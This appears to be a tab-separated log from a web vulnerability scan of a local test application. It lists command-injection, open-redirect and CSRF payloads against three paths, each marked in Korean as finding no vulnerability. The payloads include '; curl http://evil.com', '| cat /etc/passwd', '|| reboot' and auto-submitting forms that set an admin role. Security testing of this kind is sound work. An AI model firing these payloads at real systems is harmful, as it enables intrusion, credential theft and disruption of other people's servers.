command_injection	http://localhost:8000/security.php	&& whoami	취약점 없음	200	0.40s
command_injection	http://localhost:8000/security.php	; uname -a	취약점 없음	200	0.40s
command_injection	http://localhost:8000/security.php	&& cat /var/log/auth.log	취약점 없음	200	0.40s
command_injection	http://localhost:8000/security.php	; netstat -an	취약점 없음	200	0.40s
command_injection	http://localhost:8000/security.php	; ps aux	취약점 없음	200	0.40s
command_injection	http://localhost:8000/security.php	; sleep 5	취약점 없음	200	0.40s
command_injection	http://localhost:8000/security.php	$(whoami)	취약점 없음	200	0.40s
command_injection	http://localhost:8000/security.php	& nslookup example.com	취약점 없음	200	0.40s
command_injection	http://localhost:8000/security.php	ping -c 1 127.0.0.1	취약점 없음	200	0.40s
command_injection	http://localhost:8000/security.php	; curl http://evil.com	취약점 없음	200	0.40s
command_injection	http://localhost:8000/security.php	|| reboot	취약점 없음	200	0.40s
open_redirect	http://localhost:8000/security.php	//evil.com	취약점 없음	200	0.40s
open_redirect	http://localhost:8000/security.php	https://evil.com	취약점 없음	200	0.40s
open_redirect	http://localhost:8000/security.php	http://evil.com	취약점 없음	200	0.40s
csrf	http://localhost:8000/security.php	<a href='http://example.com/api/setusername?username=CSRFd'>Click Me</a>	취약점 없음	200	0.40s
csrf	http://localhost:8000/security.php	<img src='http://example.com/api/setusername?username=CSRFd'>	취약점 없음	200	0.40s

csrf	http://localhost:8000/security.php	<form action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form>	취약점 없음	200	0.41s
csrf	http://localhost:8000/security.php	<form id='autosubmit' action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form><script>document.getElementById('autosubmit').submit();</script>	취약점 없음	200	0.41s
csrf	http://localhost:8000/security.php	<script>var xhr = new XMLHttpRequest();xhr.open('GET', 'http://example.com/api/currentuser');xhr.send();</script>	취약점 없음	200	0.41s
csrf	http://localhost:8000/security.php	<form id='CSRF_POC' action='http://example.com/api/setrole' enctype='text/plain' method='POST'><input type='hidden' name='{"role":admin, "other":"' value='"}' /></form><script>document.getElementById('CSRF_POC').submit();</script>	취약점 없음	200	0.41s
csrf	http://localhost:8000/security.php	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.setRequestHeader('Content-Type', 'text/plain');xhr.send('{"role":admin}');</script>	취약점 없음	200	0.41s

csrf	http://localhost:8000/security.php	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.withCredentials = true;xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');xhr.send('{"role":admin}');</script>	취약점 없음	200	0.41s
command_injection	http://localhost:8000/vulnerabilities/brute	; ls	취약점 없음	200	0.41s
command_injection	http://localhost:8000/vulnerabilities/brute	| id	취약점 없음	200	0.41s
command_injection	http://localhost:8000/vulnerabilities/brute	&& whoami	취약점 없음	200	0.41s
command_injection	http://localhost:8000/vulnerabilities/brute	| cat /etc/passwd	취약점 없음	200	0.41s
command_injection	http://localhost:8000/vulnerabilities/brute	; uname -a	취약점 없음	200	0.41s
command_injection	http://localhost:8000/vulnerabilities/brute	&& cat /var/log/auth.log	취약점 없음	200	0.41s
command_injection	http://localhost:8000/vulnerabilities/brute	; ps aux	취약점 없음	200	0.41s
command_injection	http://localhost:8000/vulnerabilities/brute	; netstat -an	취약점 없음	200	0.41s
command_injection	http://localhost:8000/vulnerabilities/brute	; sleep 5	취약점 없음	200	0.41s
command_injection	http://localhost:8000/vulnerabilities/brute	ping -c 1 127.0.0.1	취약점 없음	200	0.41s
command_injection	http://localhost:8000/vulnerabilities/brute	$(whoami)	취약점 없음	200	0.41s
command_injection	http://localhost:8000/vulnerabilities/brute	& nslookup example.com	취약점 없음	200	0.41s
open_redirect	http://localhost:8000/vulnerabilities/brute	//evil.com	취약점 없음	200	0.41s
command_injection	http://localhost:8000/vulnerabilities/brute	; curl http://evil.com	취약점 없음	200	0.41s
command_injection	http://localhost:8000/vulnerabilities/brute	|| reboot	취약점 없음	200	0.41s
open_redirect	http://localhost:8000/vulnerabilities/brute	https://evil.com	취약점 없음	200	0.41s
open_redirect	http://localhost:8000/vulnerabilities/brute	http://evil.com	취약점 없음	200	0.42s
csrf	http://localhost:8000/vulnerabilities/brute	<a href='http://example.com/api/setusername?username=CSRFd'>Click Me</a>	취약점 없음	200	0.42s
csrf	http://localhost:8000/vulnerabilities/brute	<img src='http://example.com/api/setusername?username=CSRFd'>	취약점 없음	200	0.42s

csrf	http://localhost:8000/vulnerabilities/brute	<form action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form>	취약점 없음	200	0.42s
csrf	http://localhost:8000/vulnerabilities/brute	<form id='autosubmit' action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form><script>document.getElementById('autosubmit').submit();</script>	취약점 없음	200	0.42s
csrf	http://localhost:8000/vulnerabilities/brute	<script>var xhr = new XMLHttpRequest();xhr.open('GET', 'http://example.com/api/currentuser');xhr.send();</script>	취약점 없음	200	0.42s
csrf	http://localhost:8000/vulnerabilities/brute	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.setRequestHeader('Content-Type', 'text/plain');xhr.send('{"role":admin}');</script>	취약점 없음	200	0.42s
csrf	http://localhost:8000/vulnerabilities/brute	<form id='CSRF_POC' action='http://example.com/api/setrole' enctype='text/plain' method='POST'><input type='hidden' name='{"role":admin, "other":"' value='"}' /></form><script>document.getElementById('CSRF_POC').submit();</script>	취약점 없음	200	0.42s

csrf	http://localhost:8000/vulnerabilities/brute	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.withCredentials = true;xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');xhr.send('{"role":admin}');</script>	취약점 없음	200	0.42s
command_injection	http://localhost:8000/vulnerabilities/csrf	; ls	취약점 없음	200	0.42s
command_injection	http://localhost:8000/vulnerabilities/csrf	&& whoami	취약점 없음	200	0.42s
command_injection	http://localhost:8000/vulnerabilities/csrf	| id	취약점 없음	200	0.42s
command_injection	http://localhost:8000/vulnerabilities/csrf	| cat /etc/passwd	취약점 없음	200	0.42s
command_injection	http://localhost:8000/vulnerabilities/csrf	&& cat /var/log/auth.log	취약점 없음	200	0.42s
command_injection	http://localhost:8000/vulnerabilities/csrf	; uname -a	취약점 없음	200	0.42s
command_injection	http://localhost:8000/vulnerabilities/csrf	; ps aux	취약점 없음	200	0.42s
command_injection	http://localhost:8000/vulnerabilities/csrf	; netstat -an	취약점 없음	200	0.42s
command_injection	http://localhost:8000/vulnerabilities/csrf	; sleep 5	취약점 없음	200	0.42s
command_injection	http://localhost:8000/vulnerabilities/csrf	ping -c 1 127.0.0.1	취약점 없음	200	0.43s
command_injection	http://localhost:8000/vulnerabilities/csrf	$(whoami)	취약점 없음	200	0.43s
command_injection	http://localhost:8000/vulnerabilities/csrf	& nslookup example.com	취약점 없음	200	0.43s
command_injection	http://localhost:8000/vulnerabilities/csrf	; curl http://evil.com	취약점 없음	200	0.43s
command_injection	http://localhost:8000/vulnerabilities/csrf	|| reboot	취약점 없음	200	0.43s
open_redirect	http://localhost:8000/vulnerabilities/csrf	//evil.com	취약점 없음	200	0.43s
open_redirect	http://localhost:8000/vulnerabilities/csrf	https://evil.com	취약점 없음	200	0.43s
open_redirect	http://localhost:8000/vulnerabilities/csrf	http://evil.com	취약점 없음	200	0.43s
csrf	http://localhost:8000/vulnerabilities/csrf	<a href='http://example.com/api/setusername?username=CSRFd'>Click Me</a>	취약점 없음	200	0.43s
csrf	http://localhost:8000/vulnerabilities/csrf	<img src='http://example.com/api/setusername?username=CSRFd'>	취약점 없음	200	0.43s

csrf	http://localhost:8000/vulnerabilities/csrf	<form action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form>	취약점 없음	200	0.43s
csrf	http://localhost:8000/vulnerabilities/csrf	<form id='autosubmit' action='http://example.com/api/setusername' enctype='text/plain' method='POST'><input name='username' type='hidden' value='CSRFd' /><input type='submit' value='Submit Request' /></form><script>document.getElementById('autosubmit').submit();</script>	취약점 없음	200	0.43s
csrf	http://localhost:8000/vulnerabilities/csrf	<script>var xhr = new XMLHttpRequest();xhr.open('GET', 'http://example.com/api/currentuser');xhr.send();</script>	취약점 없음	200	0.43s
csrf	http://localhost:8000/vulnerabilities/csrf	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.setRequestHeader('Content-Type', 'text/plain');xhr.send('{"role":admin}');</script>	취약점 없음	200	0.43s
csrf	http://localhost:8000/vulnerabilities/csrf	<form id='CSRF_POC' action='http://example.com/api/setrole' enctype='text/plain' method='POST'><input type='hidden' name='{"role":admin, "other":"' value='"}' /></form><script>document.getElementById('CSRF_POC').submit();</script>	취약점 없음	200	0.44s

csrf	http://localhost:8000/vulnerabilities/csrf	<script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://example.com/api/setrole');xhr.withCredentials = true;xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');xhr.send('{"role":admin}');</script>	취약점 없음	200	0.44s